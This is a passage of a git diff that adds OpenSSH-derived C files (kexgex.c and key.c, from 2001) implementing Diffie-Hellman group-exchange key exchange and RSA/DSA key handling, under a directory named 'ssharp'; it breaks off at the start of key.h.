SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: kexgex.c,v 1.5 2001/04/05 10:42:50 markus Exp $"); + +#include + +#include "xmalloc.h" +#include "buffer.h" +#include "bufaux.h" +#include "key.h" +#include "kex.h" +#include "log.h" +#include "packet.h" +#include "dh.h" +#include "ssh2.h" +#include "compat.h" + +u_char * +kexgex_hash( + char *client_version_string, + char *server_version_string, + char *ckexinit, int ckexinitlen, + char *skexinit, int skexinitlen, + char *serverhostkeyblob, int sbloblen, + int min, int wantbits, int max, BIGNUM *prime, BIGNUM *gen, + BIGNUM *client_dh_pub, + BIGNUM *server_dh_pub, + BIGNUM *shared_secret) +{ + Buffer b; + static u_char digest[EVP_MAX_MD_SIZE]; + EVP_MD *evp_md = EVP_sha1(); + EVP_MD_CTX md; + + buffer_init(&b); + buffer_put_string(&b, client_version_string, strlen(client_version_string)); + buffer_put_string(&b, server_version_string, strlen(server_version_string)); + + /* kexinit messages: fake header: len+SSH2_MSG_KEXINIT */ + buffer_put_int(&b, ckexinitlen+1); + buffer_put_char(&b, SSH2_MSG_KEXINIT); + buffer_append(&b, ckexinit, ckexinitlen); + buffer_put_int(&b, skexinitlen+1); + buffer_put_char(&b, SSH2_MSG_KEXINIT); + buffer_append(&b, skexinit, skexinitlen); + + buffer_put_string(&b, serverhostkeyblob, sbloblen); + if (min == -1 || max == -1) + buffer_put_int(&b, wantbits); + else { + buffer_put_int(&b, min); + buffer_put_int(&b, wantbits); + buffer_put_int(&b, max); + } + buffer_put_bignum2(&b, prime); + buffer_put_bignum2(&b, gen); + buffer_put_bignum2(&b, client_dh_pub); + buffer_put_bignum2(&b, server_dh_pub); + buffer_put_bignum2(&b, shared_secret); + +#ifdef DEBUG_KEXDH + buffer_dump(&b); +#endif + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, buffer_ptr(&b), buffer_len(&b)); + EVP_DigestFinal(&md, digest, NULL); + + buffer_free(&b); + +#ifdef DEBUG_KEXDH + dump_digest("hash", digest, evp_md->md_size); +#endif + return digest; +} + +/* client */ + +void +kexgex_client(Kex *kex) +{ + BIGNUM *dh_server_pub = NULL, *shared_secret = NULL; + BIGNUM *p = NULL, *g = NULL; + Key *server_host_key; + u_char *kbuf, *hash, *signature = NULL, *server_host_key_blob = NULL; + u_int klen, kout, slen, sbloblen; + int dlen, plen, min, max, nbits; + DH *dh; + + nbits = dh_estimate(kex->we_need * 8); + + if (datafellows & SSH_OLD_DHGEX) { + debug("SSH2_MSG_KEX_DH_GEX_REQUEST_OLD sent"); + + /* Old GEX request */ + packet_start(SSH2_MSG_KEX_DH_GEX_REQUEST_OLD); + packet_put_int(nbits); + min = DH_GRP_MIN; + max = DH_GRP_MAX; + } else { + debug("SSH2_MSG_KEX_DH_GEX_REQUEST sent"); + + /* New GEX request */ + min = DH_GRP_MIN; + max = DH_GRP_MAX; + packet_start(SSH2_MSG_KEX_DH_GEX_REQUEST); + packet_put_int(min); + packet_put_int(nbits); + packet_put_int(max); + } +#ifdef DEBUG_KEXDH + fprintf(stderr, "\nmin = %d, nbits = %d, max = %d\n", + min, nbits, max); +#endif + packet_send(); + + debug("expecting SSH2_MSG_KEX_DH_GEX_GROUP"); + packet_read_expect(&plen, SSH2_MSG_KEX_DH_GEX_GROUP); + + if ((p = BN_new()) == NULL) + fatal("BN_new"); + packet_get_bignum2(p, &dlen); + if ((g = BN_new()) == NULL) + fatal("BN_new"); + packet_get_bignum2(g, &dlen); + packet_done(); + + if (BN_num_bits(p) < min || BN_num_bits(p) > max) + fatal("DH_GEX group out of range: %d !< %d !< %d", + min, BN_num_bits(p), max); + + dh = dh_new_group(g, p); + dh_gen_key(dh, kex->we_need * 8); + +#ifdef DEBUG_KEXDH + DHparams_print_fp(stderr, dh); + fprintf(stderr, "pub= "); + BN_print_fp(stderr, dh->pub_key); + fprintf(stderr, "\n"); +#endif + + debug("SSH2_MSG_KEX_DH_GEX_INIT sent"); + /* generate and send 'e', client DH public key */ + packet_start(SSH2_MSG_KEX_DH_GEX_INIT); + packet_put_bignum2(dh->pub_key); + packet_send(); + + debug("expecting SSH2_MSG_KEX_DH_GEX_REPLY"); + packet_read_expect(&plen, SSH2_MSG_KEX_DH_GEX_REPLY); + + /* key, cert */ + server_host_key_blob = packet_get_string(&sbloblen); + server_host_key = key_from_blob(server_host_key_blob, sbloblen); + if (server_host_key == NULL) + fatal("cannot decode server_host_key_blob"); + + if (kex->check_host_key == NULL) + fatal("cannot check server_host_key"); + kex->check_host_key(server_host_key); + + /* DH paramter f, server public DH key */ + dh_server_pub = BN_new(); + if (dh_server_pub == NULL) + fatal("dh_server_pub == NULL"); + packet_get_bignum2(dh_server_pub, &dlen); + +#ifdef DEBUG_KEXDH + fprintf(stderr, "dh_server_pub= "); + BN_print_fp(stderr, dh_server_pub); + fprintf(stderr, "\n"); + debug("bits %d", BN_num_bits(dh_server_pub)); +#endif + + /* signed H */ + signature = packet_get_string(&slen); + packet_done(); + + if (!dh_pub_is_valid(dh, dh_server_pub)) + packet_disconnect("bad server public DH value"); + + klen = DH_size(dh); + kbuf = xmalloc(klen); + kout = DH_compute_key(kbuf, dh_server_pub, dh); +#ifdef DEBUG_KEXDH + dump_digest("shared secret", kbuf, kout); +#endif + shared_secret = BN_new(); + BN_bin2bn(kbuf, kout, shared_secret); + memset(kbuf, 0, klen); + xfree(kbuf); + + if (datafellows & SSH_OLD_DHGEX) + min = max = -1; + + /* calc and verify H */ + hash = kexgex_hash( + kex->client_version_string, + kex->server_version_string, + buffer_ptr(&kex->my), buffer_len(&kex->my), + buffer_ptr(&kex->peer), buffer_len(&kex->peer), + server_host_key_blob, sbloblen, + min, nbits, max, + dh->p, dh->g, + dh->pub_key, + dh_server_pub, + shared_secret + ); + /* have keys, free DH */ + DH_free(dh); + xfree(server_host_key_blob); + BN_free(dh_server_pub); + + if (key_verify(server_host_key, (u_char *)signature, slen, hash, 20) != 1) + fatal("key_verify failed for server_host_key"); + key_free(server_host_key); + xfree(signature); + + /* save session id */ + if (kex->session_id == NULL) { + kex->session_id_len = 20; + kex->session_id = xmalloc(kex->session_id_len); + memcpy(kex->session_id, hash, kex->session_id_len); + } + kex_derive_keys(kex, hash, shared_secret); + BN_clear_free(shared_secret); + + kex_finish(kex); +} + +/* server */ + +void +kexgex_server(Kex *kex) +{ + BIGNUM *shared_secret = NULL, *dh_client_pub = NULL; + Key *server_host_key; + DH *dh = dh; + u_char *kbuf, *hash, *signature = NULL, *server_host_key_blob = NULL; + u_int sbloblen, klen, kout; + int min = -1, max = -1, nbits = -1, type, plen, dlen, slen; + + if (kex->load_host_key == NULL) + fatal("Cannot load hostkey"); + server_host_key = kex->load_host_key(kex->hostkey_type); + if (server_host_key == NULL) + fatal("Unsupported hostkey type %d", kex->hostkey_type); + + type = packet_read(&plen); + switch(type){ + case SSH2_MSG_KEX_DH_GEX_REQUEST: + debug("SSH2_MSG_KEX_DH_GEX_REQUEST received"); + min = packet_get_int(); + nbits = packet_get_int(); + max = packet_get_int(); + min = MAX(DH_GRP_MIN, min); + max = MIN(DH_GRP_MAX, max); + break; + case SSH2_MSG_KEX_DH_GEX_REQUEST_OLD: + debug("SSH2_MSG_KEX_DH_GEX_REQUEST_OLD received"); + nbits = packet_get_int(); + min = DH_GRP_MIN; + max = DH_GRP_MAX; + /* unused for old GEX */ + break; + default: + fatal("protocol error during kex, no DH_GEX_REQUEST: %d", type); + } + packet_done(); + + if (max < min || nbits < min || max < nbits) + fatal("DH_GEX_REQUEST, bad parameters: %d !< %d !< %d", + min, nbits, max); + + dh = choose_dh(min, nbits, max); + if (dh == NULL) + packet_disconnect("Protocol error: no matching DH grp found"); + + debug("SSH2_MSG_KEX_DH_GEX_GROUP sent"); + packet_start(SSH2_MSG_KEX_DH_GEX_GROUP); + packet_put_bignum2(dh->p); + packet_put_bignum2(dh->g); + packet_send(); + + /* flush */ + packet_write_wait(); + + /* Compute our exchange value in parallel with the client */ + dh_gen_key(dh, kex->we_need * 8); + + debug("expecting SSH2_MSG_KEX_DH_GEX_INIT"); + packet_read_expect(&plen, SSH2_MSG_KEX_DH_GEX_INIT); + + /* key, cert */ + dh_client_pub = BN_new(); + if (dh_client_pub == NULL) + fatal("dh_client_pub == NULL"); + packet_get_bignum2(dh_client_pub, &dlen); + +#ifdef DEBUG_KEXDH + fprintf(stderr, "dh_client_pub= "); + BN_print_fp(stderr, dh_client_pub); + fprintf(stderr, "\n"); + debug("bits %d", BN_num_bits(dh_client_pub)); +#endif + +#ifdef DEBUG_KEXDH + DHparams_print_fp(stderr, dh); + fprintf(stderr, "pub= "); + BN_print_fp(stderr, dh->pub_key); + fprintf(stderr, "\n"); +#endif + if (!dh_pub_is_valid(dh, dh_client_pub)) + packet_disconnect("bad client public DH value"); + + klen = DH_size(dh); + kbuf = xmalloc(klen); + kout = DH_compute_key(kbuf, dh_client_pub, dh); +#ifdef DEBUG_KEXDH + dump_digest("shared secret", kbuf, kout); +#endif + shared_secret = BN_new(); + BN_bin2bn(kbuf, kout, shared_secret); + memset(kbuf, 0, klen); + xfree(kbuf); + + key_to_blob(server_host_key, &server_host_key_blob, &sbloblen); + + if (type == SSH2_MSG_KEX_DH_GEX_REQUEST_OLD) + min = max = -1; + + /* calc H */ /* XXX depends on 'kex' */ + hash = kexgex_hash( + kex->client_version_string, + kex->server_version_string, + buffer_ptr(&kex->peer), buffer_len(&kex->peer), + buffer_ptr(&kex->my), buffer_len(&kex->my), + (char *)server_host_key_blob, sbloblen, + min, nbits, max, + dh->p, dh->g, + dh_client_pub, + dh->pub_key, + shared_secret + ); + BN_free(dh_client_pub); + + /* save session id := H */ + /* XXX hashlen depends on KEX */ + if (kex->session_id == NULL) { + kex->session_id_len = 20; + kex->session_id = xmalloc(kex->session_id_len); + memcpy(kex->session_id, hash, kex->session_id_len); + } + + /* sign H */ + /* XXX hashlen depends on KEX */ + key_sign(server_host_key, &signature, &slen, hash, 20); + + /* destroy_sensitive_data(); */ + + /* send server hostkey, DH pubkey 'f' and singed H */ + debug("SSH2_MSG_KEX_DH_GEX_REPLY sent"); + packet_start(SSH2_MSG_KEX_DH_GEX_REPLY); + packet_put_string((char *)server_host_key_blob, sbloblen); + packet_put_bignum2(dh->pub_key); /* f */ + packet_put_string((char *)signature, slen); + packet_send(); + xfree(signature); + xfree(server_host_key_blob); + /* have keys, free DH */ + DH_free(dh); + + kex_derive_keys(kex, hash, shared_secret); + BN_clear_free(shared_secret); + + kex_finish(kex); +} + +void +kexgex(Kex *kex) +{ + if (kex->server) + kexgex_server(kex); + else + kexgex_client(kex); +} diff --git a/other/ssharp/key.c b/other/ssharp/key.c new file mode 100644 index 0000000..3b9f9f7 --- /dev/null +++ b/other/ssharp/key.c @@ -0,0 +1,783 @@ +/* + * read_bignum(): + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "includes.h" +RCSID("$OpenBSD: key.c,v 1.25 2001/04/17 10:53:24 markus Exp $"); + +#include + +#include "xmalloc.h" +#include "key.h" +#include "rsa.h" +#include "ssh-dss.h" +#include "ssh-rsa.h" +#include "uuencode.h" +#include "buffer.h" +#include "bufaux.h" +#include "log.h" + +Key * +key_new(int type) +{ + Key *k; + RSA *rsa; + DSA *dsa; + k = xmalloc(sizeof(*k)); + k->type = type; + k->dsa = NULL; + k->rsa = NULL; + switch (k->type) { + case KEY_RSA1: + case KEY_RSA: + rsa = RSA_new(); + rsa->n = BN_new(); + rsa->e = BN_new(); + k->rsa = rsa; + break; + case KEY_DSA: + dsa = DSA_new(); + dsa->p = BN_new(); + dsa->q = BN_new(); + dsa->g = BN_new(); + dsa->pub_key = BN_new(); + k->dsa = dsa; + break; + case KEY_UNSPEC: + break; + default: + fatal("key_new: bad key type %d", k->type); + break; + } + return k; +} +Key * +key_new_private(int type) +{ + Key *k = key_new(type); + switch (k->type) { + case KEY_RSA1: + case KEY_RSA: + k->rsa->d = BN_new(); + k->rsa->iqmp = BN_new(); + k->rsa->q = BN_new(); + k->rsa->p = BN_new(); + k->rsa->dmq1 = BN_new(); + k->rsa->dmp1 = BN_new(); + break; + case KEY_DSA: + k->dsa->priv_key = BN_new(); + break; + case KEY_UNSPEC: + break; + default: + break; + } + return k; +} +void +key_free(Key *k) +{ + switch (k->type) { + case KEY_RSA1: + case KEY_RSA: + if (k->rsa != NULL) + RSA_free(k->rsa); + k->rsa = NULL; + break; + case KEY_DSA: + if (k->dsa != NULL) + DSA_free(k->dsa); + k->dsa = NULL; + break; + case KEY_UNSPEC: + break; + default: + fatal("key_free: bad key type %d", k->type); + break; + } + xfree(k); +} +int +key_equal(Key *a, Key *b) +{ + if (a == NULL || b == NULL || a->type != b->type) + return 0; + switch (a->type) { + case KEY_RSA1: + case KEY_RSA: + return a->rsa != NULL && b->rsa != NULL && + BN_cmp(a->rsa->e, b->rsa->e) == 0 && + BN_cmp(a->rsa->n, b->rsa->n) == 0; + break; + case KEY_DSA: + return a->dsa != NULL && b->dsa != NULL && + BN_cmp(a->dsa->p, b->dsa->p) == 0 && + BN_cmp(a->dsa->q, b->dsa->q) == 0 && + BN_cmp(a->dsa->g, b->dsa->g) == 0 && + BN_cmp(a->dsa->pub_key, b->dsa->pub_key) == 0; + break; + default: + fatal("key_equal: bad key type %d", a->type); + break; + } + return 0; +} + +u_char* +key_fingerprint_raw(Key *k, enum fp_type dgst_type, size_t *dgst_raw_length) +{ + EVP_MD *md = NULL; + EVP_MD_CTX ctx; + u_char *blob = NULL; + u_char *retval = NULL; + int len = 0; + int nlen, elen; + + *dgst_raw_length = 0; + + switch (dgst_type) { + case SSH_FP_MD5: + md = EVP_md5(); + break; + case SSH_FP_SHA1: + md = EVP_sha1(); + break; + default: + fatal("key_fingerprint_raw: bad digest type %d", + dgst_type); + } + switch (k->type) { + case KEY_RSA1: + nlen = BN_num_bytes(k->rsa->n); + elen = BN_num_bytes(k->rsa->e); + len = nlen + elen; + blob = xmalloc(len); + BN_bn2bin(k->rsa->n, blob); + BN_bn2bin(k->rsa->e, blob + nlen); + break; + case KEY_DSA: + case KEY_RSA: + key_to_blob(k, &blob, &len); + break; + case KEY_UNSPEC: + return retval; + break; + default: + fatal("key_fingerprint_raw: bad key type %d", k->type); + break; + } + if (blob != NULL) { + retval = xmalloc(EVP_MAX_MD_SIZE); + EVP_DigestInit(&ctx, md); + EVP_DigestUpdate(&ctx, blob, len); + EVP_DigestFinal(&ctx, retval, NULL); + *dgst_raw_length = md->md_size; + memset(blob, 0, len); + xfree(blob); + } else { + fatal("key_fingerprint_raw: blob is null"); + } + return retval; +} + +char* +key_fingerprint_hex(u_char* dgst_raw, size_t dgst_raw_len) +{ + char *retval; + int i; + + retval = xmalloc(dgst_raw_len * 3 + 1); + retval[0] = '\0'; + for(i = 0; i < dgst_raw_len; i++) { + char hex[4]; + snprintf(hex, sizeof(hex), "%02x:", dgst_raw[i]); + strlcat(retval, hex, dgst_raw_len * 3); + } + retval[(dgst_raw_len * 3) - 1] = '\0'; + return retval; +} + +char* +key_fingerprint_bubblebabble(u_char* dgst_raw, size_t dgst_raw_len) +{ + char vowels[] = { 'a', 'e', 'i', 'o', 'u', 'y' }; + char consonants[] = { 'b', 'c', 'd', 'f', 'g', 'h', 'k', 'l', 'm', + 'n', 'p', 'r', 's', 't', 'v', 'z', 'x' }; + u_int i, j = 0, rounds, seed = 1; + char *retval; + + rounds = (dgst_raw_len / 2) + 1; + retval = xmalloc(sizeof(char) * (rounds*6)); + retval[j++] = 'x'; + for (i = 0; i < rounds; i++) { + u_int idx0, idx1, idx2, idx3, idx4; + if ((i + 1 < rounds) || (dgst_raw_len % 2 != 0)) { + idx0 = (((((u_int)(dgst_raw[2 * i])) >> 6) & 3) + + seed) % 6; + idx1 = (((u_int)(dgst_raw[2 * i])) >> 2) & 15; + idx2 = ((((u_int)(dgst_raw[2 * i])) & 3) + + (seed / 6)) % 6; + retval[j++] = vowels[idx0]; + retval[j++] = consonants[idx1]; + retval[j++] = vowels[idx2]; + if ((i + 1) < rounds) { + idx3 = (((u_int)(dgst_raw[(2 * i) + 1])) >> 4) & 15; + idx4 = (((u_int)(dgst_raw[(2 * i) + 1]))) & 15; + retval[j++] = consonants[idx3]; + retval[j++] = '-'; + retval[j++] = consonants[idx4]; + seed = ((seed * 5) + + ((((u_int)(dgst_raw[2 * i])) * 7) + + ((u_int)(dgst_raw[(2 * i) + 1])))) % 36; + } + } else { + idx0 = seed % 6; + idx1 = 16; + idx2 = seed / 6; + retval[j++] = vowels[idx0]; + retval[j++] = consonants[idx1]; + retval[j++] = vowels[idx2]; + } + } + retval[j++] = 'x'; + retval[j++] = '\0'; + return retval; +} + +char* +key_fingerprint(Key *k, enum fp_type dgst_type, enum fp_rep dgst_rep) +{ + char *retval = NULL; + u_char *dgst_raw; + size_t dgst_raw_len; + + dgst_raw = key_fingerprint_raw(k, dgst_type, &dgst_raw_len); + if (!dgst_raw) + fatal("key_fingerprint: null from key_fingerprint_raw()"); + switch(dgst_rep) { + case SSH_FP_HEX: + retval = key_fingerprint_hex(dgst_raw, dgst_raw_len); + break; + case SSH_FP_BUBBLEBABBLE: + retval = key_fingerprint_bubblebabble(dgst_raw, dgst_raw_len); + break; + default: + fatal("key_fingerprint_ex: bad digest representation %d", + dgst_rep); + break; + } + memset(dgst_raw, 0, dgst_raw_len); + xfree(dgst_raw); + return retval; +} + +/* + * Reads a multiple-precision integer in decimal from the buffer, and advances + * the pointer. The integer must already be initialized. This function is + * permitted to modify the buffer. This leaves *cpp to point just beyond the + * last processed (and maybe modified) character. Note that this may modify + * the buffer containing the number. + */ +int +read_bignum(char **cpp, BIGNUM * value) +{ + char *cp = *cpp; + int old; + + /* Skip any leading whitespace. */ + for (; *cp == ' ' || *cp == '\t'; cp++) + ; + + /* Check that it begins with a decimal digit. */ + if (*cp < '0' || *cp > '9') + return 0; + + /* Save starting position. */ + *cpp = cp; + + /* Move forward until all decimal digits skipped. */ + for (; *cp >= '0' && *cp <= '9'; cp++) + ; + + /* Save the old terminating character, and replace it by \0. */ + old = *cp; + *cp = 0; + + /* Parse the number. */ + if (BN_dec2bn(&value, *cpp) == 0) + return 0; + + /* Restore old terminating character. */ + *cp = old; + + /* Move beyond the number and return success. */ + *cpp = cp; + return 1; +} +int +write_bignum(FILE *f, BIGNUM *num) +{ + char *buf = BN_bn2dec(num); + if (buf == NULL) { + error("write_bignum: BN_bn2dec() failed"); + return 0; + } + fprintf(f, " %s", buf); + xfree(buf); + return 1; +} + +/* returns 1 ok, -1 error, 0 type mismatch */ +int +key_read(Key *ret, char **cpp) +{ + Key *k; + int success = -1; + char *cp, *space; + int len, n, type; + u_int bits; + u_char *blob; + + cp = *cpp; + + switch(ret->type) { + case KEY_RSA1: + /* Get number of bits. */ + if (*cp < '0' || *cp > '9') + return -1; /* Bad bit count... */ + for (bits = 0; *cp >= '0' && *cp <= '9'; cp++) + bits = 10 * bits + *cp - '0'; + if (bits == 0) + return -1; + *cpp = cp; + /* Get public exponent, public modulus. */ + if (!read_bignum(cpp, ret->rsa->e)) + return -1; + if (!read_bignum(cpp, ret->rsa->n)) + return -1; + success = 1; + break; + case KEY_UNSPEC: + case KEY_RSA: + case KEY_DSA: + space = strchr(cp, ' '); + if (space == NULL) { + debug3("key_read: no space"); + return -1; + } + *space = '\0'; + type = key_type_from_name(cp); + *space = ' '; + if (type == KEY_UNSPEC) { + debug3("key_read: no key found"); + return -1; + } + cp = space+1; + if (*cp == '\0') { + debug3("key_read: short string"); + return -1; + } + if (ret->type == KEY_UNSPEC) { + ret->type = type; + } else if (ret->type != type) { + /* is a key, but different type */ + debug3("key_read: type mismatch"); + return 0; + } + len = 2*strlen(cp); + blob = xmalloc(len); + n = uudecode(cp, blob, len); + if (n < 0) { + error("key_read: uudecode %s failed", cp); + return -1; + } + k = key_from_blob(blob, n); + if (k == NULL) { + error("key_read: key_from_blob %s failed", cp); + return -1; + } + xfree(blob); + if (k->type != type) { + error("key_read: type mismatch: encoding error"); + key_free(k); + return -1; + } +/*XXXX*/ + if (ret->type == KEY_RSA) { + if (ret->rsa != NULL) + RSA_free(ret->rsa); + ret->rsa = k->rsa; + k->rsa = NULL; + success = 1; +#ifdef DEBUG_PK + RSA_print_fp(stderr, ret->rsa, 8); +#endif + } else { + if (ret->dsa != NULL) + DSA_free(ret->dsa); + ret->dsa = k->dsa; + k->dsa = NULL; + success = 1; +#ifdef DEBUG_PK + DSA_print_fp(stderr, ret->dsa, 8); +#endif + } +/*XXXX*/ + if (success != 1) + break; + key_free(k); + /* advance cp: skip whitespace and data */ + while (*cp == ' ' || *cp == '\t') + cp++; + while (*cp != '\0' && *cp != ' ' && *cp != '\t') + cp++; + *cpp = cp; + break; + default: + fatal("key_read: bad key type: %d", ret->type); + break; + } + return success; +} +int +key_write(Key *key, FILE *f) +{ + int success = 0; + u_int bits = 0; + + if (key->type == KEY_RSA1 && key->rsa != NULL) { + /* size of modulus 'n' */ + bits = BN_num_bits(key->rsa->n); + fprintf(f, "%u", bits); + if (write_bignum(f, key->rsa->e) && + write_bignum(f, key->rsa->n)) { + success = 1; + } else { + error("key_write: failed for RSA key"); + } + } else if ((key->type == KEY_DSA && key->dsa != NULL) || + (key->type == KEY_RSA && key->rsa != NULL)) { + int len, n; + u_char *blob, *uu; + key_to_blob(key, &blob, &len); + uu = xmalloc(2*len); + n = uuencode(blob, len, uu, 2*len); + if (n > 0) { + fprintf(f, "%s %s", key_ssh_name(key), uu); + success = 1; + } + xfree(blob); + xfree(uu); + } + return success; +} +char * +key_type(Key *k) +{ + switch (k->type) { + case KEY_RSA1: + return "RSA1"; + break; + case KEY_RSA: + return "RSA"; + break; + case KEY_DSA: + return "DSA"; + break; + } + return "unknown"; +} +char * +key_ssh_name(Key *k) +{ + switch (k->type) { + case KEY_RSA: + return "ssh-rsa"; + break; + case KEY_DSA: + return "ssh-dss"; + break; + } + return "ssh-unknown"; +} +u_int +key_size(Key *k){ + switch (k->type) { + case KEY_RSA1: + case KEY_RSA: + return BN_num_bits(k->rsa->n); + break; + case KEY_DSA: + return BN_num_bits(k->dsa->p); + break; + } + return 0; +} + +RSA * +rsa_generate_private_key(u_int bits) +{ + RSA *private; + private = RSA_generate_key(bits, 35, NULL, NULL); + if (private == NULL) + fatal("rsa_generate_private_key: key generation failed."); + return private; +} + +DSA* +dsa_generate_private_key(u_int bits) +{ + DSA *private = DSA_generate_parameters(bits, NULL, 0, NULL, NULL, NULL, NULL); + if (private == NULL) + fatal("dsa_generate_private_key: DSA_generate_parameters failed"); + if (!DSA_generate_key(private)) + fatal("dsa_generate_private_key: DSA_generate_key failed."); + if (private == NULL) + fatal("dsa_generate_private_key: NULL."); + return private; +} + +Key * +key_generate(int type, u_int bits) +{ + Key *k = key_new(KEY_UNSPEC); + switch (type) { + case KEY_DSA: + k->dsa = dsa_generate_private_key(bits); + break; + case KEY_RSA: + case KEY_RSA1: + k->rsa = rsa_generate_private_key(bits); + break; + default: + fatal("key_generate: unknown type %d", type); + } + k->type = type; + return k; +} + +Key * +key_from_private(Key *k) +{ + Key *n = NULL; + switch (k->type) { + case KEY_DSA: + n = key_new(k->type); + BN_copy(n->dsa->p, k->dsa->p); + BN_copy(n->dsa->q, k->dsa->q); + BN_copy(n->dsa->g, k->dsa->g); + BN_copy(n->dsa->pub_key, k->dsa->pub_key); + break; + case KEY_RSA: + case KEY_RSA1: + n = key_new(k->type); + BN_copy(n->rsa->n, k->rsa->n); + BN_copy(n->rsa->e, k->rsa->e); + break; + default: + fatal("key_from_private: unknown type %d", k->type); + break; + } + return n; +} + +int +key_type_from_name(char *name) +{ + if (strcmp(name, "rsa1") == 0){ + return KEY_RSA1; + } else if (strcmp(name, "rsa") == 0){ + return KEY_RSA; + } else if (strcmp(name, "dsa") == 0){ + return KEY_DSA; + } else if (strcmp(name, "ssh-rsa") == 0){ + return KEY_RSA; + } else if (strcmp(name, "ssh-dss") == 0){ + return KEY_DSA; + } + debug2("key_type_from_name: unknown key type '%s'", name); + return KEY_UNSPEC; +} + +int +key_names_valid2(const char *names) +{ + char *s, *cp, *p; + + if (names == NULL || strcmp(names, "") == 0) + return 0; + s = cp = xstrdup(names); + for ((p = strsep(&cp, ",")); p && *p != '\0'; + (p = strsep(&cp, ","))) { + switch (key_type_from_name(p)) { + case KEY_RSA1: + case KEY_UNSPEC: + xfree(s); + return 0; + } + } + debug3("key names ok: [%s]", names); + xfree(s); + return 1; +} + +Key * +key_from_blob(char *blob, int blen) +{ + Buffer b; + char *ktype; + int rlen, type; + Key *key = NULL; + +#ifdef DEBUG_PK + dump_base64(stderr, blob, blen); +#endif + buffer_init(&b); + buffer_append(&b, blob, blen); + ktype = buffer_get_string(&b, NULL); + type = key_type_from_name(ktype); + + switch(type){ + case KEY_RSA: + key = key_new(type); + buffer_get_bignum2(&b, key->rsa->e); + buffer_get_bignum2(&b, key->rsa->n); +#ifdef DEBUG_PK + RSA_print_fp(stderr, key->rsa, 8); +#endif + break; + case KEY_DSA: + key = key_new(type); + buffer_get_bignum2(&b, key->dsa->p); + buffer_get_bignum2(&b, key->dsa->q); + buffer_get_bignum2(&b, key->dsa->g); + buffer_get_bignum2(&b, key->dsa->pub_key); +#ifdef DEBUG_PK + DSA_print_fp(stderr, key->dsa, 8); +#endif + break; + case KEY_UNSPEC: + key = key_new(type); + break; + default: + error("key_from_blob: cannot handle type %s", ktype); + break; + } + rlen = buffer_len(&b); + if (key != NULL && rlen != 0) + error("key_from_blob: remaining bytes in key blob %d", rlen); + xfree(ktype); + buffer_free(&b); + return key; +} + +int +key_to_blob(Key *key, u_char **blobp, u_int *lenp) +{ + Buffer b; + int len; + u_char *buf; + + if (key == NULL) { + error("key_to_blob: key == NULL"); + return 0; + } + buffer_init(&b); + switch(key->type){ + case KEY_DSA: + buffer_put_cstring(&b, key_ssh_name(key)); + buffer_put_bignum2(&b, key->dsa->p); + buffer_put_bignum2(&b, key->dsa->q); + buffer_put_bignum2(&b, key->dsa->g); + buffer_put_bignum2(&b, key->dsa->pub_key); + break; + case KEY_RSA: + buffer_put_cstring(&b, key_ssh_name(key)); + buffer_put_bignum2(&b, key->rsa->e); + buffer_put_bignum2(&b, key->rsa->n); + break; + default: + error("key_to_blob: illegal key type %d", key->type); + break; + } + len = buffer_len(&b); + buf = xmalloc(len); + memcpy(buf, buffer_ptr(&b), len); + memset(buffer_ptr(&b), 0, len); + buffer_free(&b); + if (lenp != NULL) + *lenp = len; + if (blobp != NULL) + *blobp = buf; + return len; +} + +int +key_sign( + Key *key, + u_char **sigp, int *lenp, + u_char *data, int datalen) +{ + switch(key->type){ + case KEY_DSA: + return ssh_dss_sign(key, sigp, lenp, data, datalen); + break; + case KEY_RSA: + return ssh_rsa_sign(key, sigp, lenp, data, datalen); + break; + default: + error("key_sign: illegal key type %d", key->type); + return -1; + break; + } +} + +int +key_verify( + Key *key, + u_char *signature, int signaturelen, + u_char *data, int datalen) +{ + switch(key->type){ + case KEY_DSA: + return ssh_dss_verify(key, signature, signaturelen, data, datalen); + break; + case KEY_RSA: + return ssh_rsa_verify(key, signature, signaturelen, data, datalen); + break; + default: + error("key_verify: illegal key type %d", key->type); + return -1; + break; + } +} diff --git a/other/ssharp/key.h b/other/ssharp/key.h new file mode 100644 index 0000000..cee31c3 --- /dev/null +++ b/other/ssharp/key.h @@ -0,0 +1,84 @@ +/* $OpenBSD: key.h,v 1.12 2001/04/17 10:53:24 markus Exp $ */ + +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * 